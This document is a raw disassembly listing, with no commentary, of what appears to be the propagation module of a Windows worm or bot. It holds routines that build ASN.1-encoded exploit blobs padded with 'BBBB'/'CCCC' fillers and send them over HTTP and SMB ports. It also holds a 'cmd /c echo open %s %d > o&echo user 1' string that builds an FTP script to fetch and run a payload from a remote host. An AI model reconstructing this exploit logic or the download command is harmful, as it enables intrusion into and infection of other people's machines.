jmp short loc_40CAAC
; ---------------------------------------------------------------------------
loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj
; sub_40CA1D+92j
push [ebp+arg_0]
call dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40CADE
inc [ebp+var_2C]
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40CADE: ; CODE XREF: sub_40CA1D+B7j
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_431FCC
push eax
call sub_41C266
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409869
push [ebp+var_20]
call sub_40B6D6
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CA1D endp
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB88C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC80
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: .packed:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset loc_4323B4
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push (offset loc_43238F+1)
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_42720C ; select
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC ; recv
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; .packed:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320CC
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_4320FC
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6EC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: .packed:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
call dword_427208 ; send
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432154[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: .packed:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA24 ; send
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432300
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_432198
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: .packed:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: .packed:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
call dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: .packed:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: .packed:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
